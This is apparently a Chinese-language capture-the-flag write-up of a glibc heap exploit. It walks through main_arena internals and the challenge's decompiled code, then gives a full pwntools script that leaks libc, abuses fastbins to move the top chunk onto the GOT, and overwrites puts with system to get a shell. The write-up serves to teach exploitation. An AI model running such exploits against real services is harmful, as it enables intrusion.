main_arena里面的内容
pwndbg> x /20xg 0x7fed08ed9af0
0x7fed08ed9af0 <_IO_wide_data_0+304>: 0x00007fed08ed8260 0x0000000000000000
0x7fed08ed9b00 <__memalign_hook>: 0x00007fed08b9ae20 0x00007fed08b9aa00
0x7fed08ed9b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 这里是hook函数
0x7fed08ed9b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x10,0x20
0x7fed08ed9b30 <main_arena+16>: 0x0000000000000000 0x0000000002181050 0x30,0x40
0x7fed08ed9b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x50,0x60
0x7fed08ed9b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x70,0x80
0x7fed08ed9b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 unsortedbin, smallbins
0x7fed08ed9b70 <main_arena+80>: 0x0000000000000000 0x0000000000600dd0 largebins, topchunk
0x7fed08ed9b80 <main_arena+96>: 0x0000000000000000 0x00007fed08ed9b78
申请空间会从main_arena对应的地址处申请空间。
如申请0x40的chunk会从0x0000000002181050申请。如果申请0x50的chunk,因为对应位置处为0,所以从topchunk(0x0000000000600dd0)申请。
桥黑板:使用topchunk的好处是不必关心size的问题,直接申请。
利用过程:
1.通过堆溢出申请到任意的空间,free之后在next_chunk位置处写入size。
2.通过free把这个size写入到main_arena中
3.有了2写入的size可以申请到main_arena的地址空间,可以设置topchunk的指针,修改为got表的地址(这个地址在bss段,stdin,stdout,stderr前面)
4.然后从topchunk申请空间就能申请到这个地址(0x0000000000600dd0)的空间实现腹泻got表。
例题
➜ pwn02 checksec pwn02
[*] '/home/tower/1t/u18/\xe8\xae\xb2\xe8\xaf\xbe/\xe9\x83\x91\xe5\xb7\x9e\xe5\xb7\xa1\xe8\xae\xb2/pwn02/pwn02'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只开启了NX保护
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi
__int64 v4; // rdx
int v5; // ebx
char *ptr[10]; // [rsp+0h] [rbp-70h]
int sz; // [rsp+54h] [rbp-1Ch]
int idx; // [rsp+58h] [rbp-18h]
int cmd; // [rsp+5Ch] [rbp-14h]
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
memset(ptr, 0, 0x50uLL);
puts("1. malloc + gets\n2. free\n3. puts");
while ( 1 )
{
while ( 1 )
{
printf("> ", v3);
v3 = &cmd;
__isoc99_scanf("%d %d", &cmd, &idx);
v4 = (unsigned int)(idx % 10);
idx %= 10;
if ( cmd != 1 )
break;
v3 = &sz;
__isoc99_scanf("%d%*c", &sz, v4);
v5 = idx;
ptr[v5] = (char *)malloc(sz);
gets(ptr[idx]);
}
if ( cmd == 2 )
{
free(ptr[idx]);
}
else
{
if ( cmd != 3 )
exit(0);
puts(ptr[idx]);
}
}
}
堆溢出,free函数没有检查还有double free,但是没有提供edit项。
0x01 leak
泄露main_arena地址(在smallbin被free的时候会在fd,bk里面写入main_arena和nextchunk的地址,也就是连接成双向链表)https://blog.csdn.net/qq_38204481/article/details/82318227
malloc_chunk(0,0x30,'aaaa')
malloc_chunk(1,0x30,'bbbb')
malloc_chunk(2,0x100,'AAAA')
malloc_chunk(3,0x30,'/bin/sh\x00')
free_chunk(2)
puts_chunk(2)
main_arena=u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))-88
success("main_arena ==> "+hex(main_arena))
0x02在main_arena中设置合适的size
free_chunk(1)
free_chunk(0)
payload='A'*0x30
payload+=p64(0x40)+p64(0x41)
payload+=p64(0x60)
malloc_chunk(4, 0x30,payload)
malloc_chunk(5,0x30,'A')
如上图这是一种常用的堆攻击方式free2个chunk会连成如上图最左边结构。
经过1次malloc之后就能让fastbin指向my_addr也就是可以再main_arena中写入size。
0x03申请到topchunk空间
malloc_chunk(6,0x50,'aaaa')
malloc_chunk(7,0x50,'bbbb')
free_chunk(7)
free_chunk(6)
payload='A'*0x50
payload+=p64(0x60)+p64(0x61)
print hex(fake_chunk)
payload+=p64(fake_chunk)
malloc_chunk(8,0x50,payload)
malloc_chunk(9,0x50,'A')
payload='\x00'*0x38
payload+=p64(0x000000000600DD8-8)#puts_got
malloc_chunk(1,0x50,payload)
跟0x02一样的手法把上次设置的size作为这次的size。
然后把puts函数的got表地址写入到topchunk上
0x04复写got表
free_chunk(5)
free_chunk(4)
malloc_chunk(0,0x30,'A'*0x30+p64(0x40)+p64(0x41)+p64(0)) #这里为了设置bins里面为0,保证从topchunk中申请
malloc_chunk(0,0x30,'A')
malloc_chunk(2,0x30,'\xb0\x06\x40\x00\x00\x00')#system_addr
puts_chunk(3)
#!/usr/bin/python
#coding=utf-8
from pwn import *
r = process('./pwn02')
#r = remote("39.100.87.24",8102)
#context.terminal=["tmux","splitw","-h"]
def debug():
gdb.attach(r,'''
b *0x00000000040096F
b *0x0000000004009AD
b *0x00000000040098E
''')
def malloc_chunk(idx,size,content):
r.recvuntil('> ')
r.sendline('1')
r.sendline(str(idx))
r.sendline(str(size))
r.sendline(str(content))
def free_chunk(idx):
r.recvuntil('> ')
r.sendline('2')
r.sendline(str(idx))
def puts_chunk(idx):
r.recvuntil('> ')
r.sendline('3')
r.sendline(str(idx))
#return hex(u64(r.recvline('\n')[:-1].ljust(8,'\x00')))
##################leak
malloc_chunk(0,0x30,'aaaa')
malloc_chunk(1,0x30,'bbbb')
malloc_chunk(2,0x100,'AAAA')
malloc_chunk(3,0x30,'/bin/sh\x00')
free_chunk(2)
puts_chunk(2)
main_arena=u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))-88
success("main_arena ==> "+hex(main_arena))
fake_chunk=main_arena+0x18-0x10+8 #top chunk
free_chunk(1)
free_chunk(0)
payload='A'*0x30
payload+=p64(0x40)+p64(0x41)
payload+=p64(0x60)
malloc_chunk(4, 0x30,payload)
malloc_chunk(5,0x30,'A')
malloc_chunk(0,0x100,'A')
malloc_chunk(6,0x50,'aaaa')
malloc_chunk(7,0x50,'bbbb')
free_chunk(7)
free_chunk(6)
payload='A'*0x50
payload+=p64(0x60)+p64(0x61)
print hex(fake_chunk)
payload+=p64(fake_chunk)
malloc_chunk(8,0x50,payload)
malloc_chunk(9,0x50,'A')
payload='\x00'*0x38
payload+=p64(0x000000000600DD8-8)#puts_got
malloc_chunk(1,0x50,payload)
free_chunk(5)
free_chunk(4)
malloc_chunk(0,0x30,'A'*0x30+p64(0x40)+p64(0x41)+p64(0))
gdb.attach(r)
malloc_chunk(0,0x30,'A')
malloc_chunk(2,0x30,'\xb0\x06\x40\x00\x00\x00')#system_addr
puts_chunk(3)
r.interactive()